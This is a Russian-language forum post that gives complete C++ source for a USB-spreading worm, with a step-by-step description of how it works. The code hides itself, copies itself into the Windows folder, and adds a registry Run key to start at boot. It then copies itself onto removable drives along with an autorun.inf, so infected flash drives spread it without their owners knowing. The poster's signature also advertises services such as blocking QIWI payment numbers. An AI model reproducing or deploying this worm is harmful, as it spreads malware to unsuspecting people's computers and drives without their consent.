USB Flash вирус С++

Тема в разделе "Софт и инструменты", создана пользователем Hermanicus, 7 мар 2017.

  1. Суть такая: Вирус распространяется с одного компа на другие через флеш носители. Затем закрепившись в системе уже начинает свою деятельность., в нашем примере неожиданно поздравляет с новым годом.



    Алгоритм состоит из 3-х основных задач:

    1. Освоение на новом месте. Копируемся в систему, прописываемся в автозагрузку, и скрываемся.

    2. Заражение новых флешек. Выполняем поиск подключённых к компу флешек, копируемся на них., атакже создаём autorun.inf для осуществления автозапуска. Затем делаем файл вируса скрытым, и меняем дату его создания. Таким образом флешка начинает без ведома владельца распространять наши копии.

    3. Этот модуль периодически проверяет системную дату, чтобы определить когда стоит вывести поздравление с новым годом. Атакже вывод этого поздравления, и функция самоуничтожения.

    4. Конечно можно воплотить здесь любые идеи в плане 25 кадра, захвата планеты, и прочее... но в данной статье это не рассматривается

    Код:
    [/COLOR]Реализация: #include <vcl.h>

    #pragma hdrstop

    #include<iostream.h>

    #include <registry.hpp>

    #include<DateUtils.hpp>



    #include "Unit1.h"

    //---------------------------------------------------------------------------

    #pragma package(smart_init)

    #pragma resource "*.dfm"

    TForm1 *Form1;

    //---------------------------------------------------------------------------

    __fastcall TForm1::TForm1(TComponent* Owner)

    : TForm(Owner)

    {

    }

    //---------------------------------------------------------------------------



    void __fastcall TForm1::FormCreate(TObject *Sender)

    {

    Application->ShowMainForm=false; //прячимся



    // Осваеваемся в новой системе

    if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V. exe") {

    //скопируемся

    CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill _USB_Flash_V.exe",true);

    //и пропишимся в автозагрузку:

    TRegistry *reg=new TRegistry;

    reg->RootKey=HKEY_LOCAL_MACHINE;

    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false);

    reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");

    reg->CloseKey();

    reg->Free();

    }







    }



    //---------------------------------------------------------------------------



    void __fastcall TForm1::Timer1Timer(TObject *Sender)

    { // Будим заражать подключаемые к компу устройства



    try {

    FILE *F;

    DWORD Number, FileLength, VolFlags;

    char Drives[255],Buf[256];

    char SystemName[127];

    char *xxx;

    AnsiString S;

    int i ;

    PChar P ;



    RichEdit1->Clear();

    if (GetLogicalDriveStrings(256,Drives) > 256) exit; // получаем списко дисков без ошибок

    P = Drives;

    while (*P != 0) // цикл по дискам

    {

    i = GetDriveType(P);//определение типа



    if(i==DRIVE_REMOVABLE && AnsiString(P)!="A:\\") { // только если сьёмный выполним:



    S=AnsiString(P)+"1v.exe";//подбор имени

    RichEdit1->Lines->Add(S);



    CopyFile(ParamStr(0).c_str(),S.c_str(),true); // копирование





    S=AnsiString(P)+"autorun.inf"; //подготовим авторан



    F = fopen(S.c_str(),"w+"); //открываем файл

    if(F)

    {

    fprintf(F, "[autorun]\n"); // создаём загрузочную запись

    fprintf(F, "open=1v.exe\n");

    fprintf(F, "shell=Открыть\n");



    fclose(F);

    }

    }

    /*

    else

    {

    ShowMessage(String("Cannot open file \"") + S + "\"");

    }

    */



    P = P + 4; // шаг к следующему носителю



    }







    }

    catch ( ... )

    {

    //ShowMessage("error");

    }



    }

    //---------------------------------------------------------------------------

    void __fastcall TForm1::Timer2Timer(TObject *Sender)

    {

    if(DateToStr(Now())=="03.11.2009") {



    // Поздравляем юзера с Новым годом

    Application->ShowMainForm=true;

    Form1->Visible=true;



    Form1->Top=(Screen->Height/2)-(Form1->Height/2);

    Form1->Left=(Screen->Width/2)-(Form1->Width/2);





    int h;

    AnsiString mes;

    int wt,ht;

    int x,y;

    h = HourOf(Now());

    if (h<=5) mes="Доброй ночи";

    else if (h<12) mes="Доброе утро";

    else if (h<=17) mes="Добрый день";

    else mes="Добрый вечер";



    Canvas->Brush->Style=bsClear;



    Canvas->Font->Size= 21;

    Canvas->Font->Color=clRed;



    char c[256];

    DWORD sizec =256;

    GetUserName(c, &sizec);





    Canvas->TextOutA(10,20,mes+" "+c+",");





    Canvas->Font->Size= 27;

    Canvas->TextOutA(100,230,"С Новым Годом!");



    Canvas->Font->Size=11;

    Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");







    //Всего раз

    Timer2->Enabled=false;

    // и уходим с компа

    TRegistry *reg=new TRegistry;

    reg->RootKey=HKEY_LOCAL_MACHINE;

    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false);

    reg->DeleteValue("SystemX");

    reg->CloseKey();

    reg->Free();



    DeleteFile(ParamStr(0));





    }



    }

    //---------------------------------------------------------------------------





    void __fastcall TForm1::Image1MouseMove(TObject *Sender, TShiftState Shift,

    int X, int Y)

    {



    int h;

    AnsiString mes;

    int wt,ht;

    int x,y;

    h = HourOf(Now());

    if (h<=5) mes="Доброй ночи";

    else if (h<12) mes="Доброе утро";

    else if (h<=17) mes="Добрый день";

    else mes="Добрый вечер";



    Canvas->Brush->Style=bsClear;



    Canvas->Font->Size= 21;

    Canvas->Font->Color=clRed;



    char c[256];

    DWORD sizec =256;

    GetUserName(c, &sizec);





    Canvas->TextOutA(10,20,mes+" "+c+",");





    Canvas->Font->Size= 27;

    Canvas->TextOutA(100,230,"С Новым Годом!");



    Canvas->Font->Size=11;

    Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");




    }

    Предлагаю услуги по:
    1. Сделаю зеркало любого сайта в сети ТОR
    2. Блокировка ЛЮБОГО QIWI Номера (Быстро)


    [​IMG]
    Мануалы и софт выложены в ознакомительных целях вся ответственность за использования ложится на вас.
    Софт советую использовать на виртуалке.
     

Поделиться этой страницей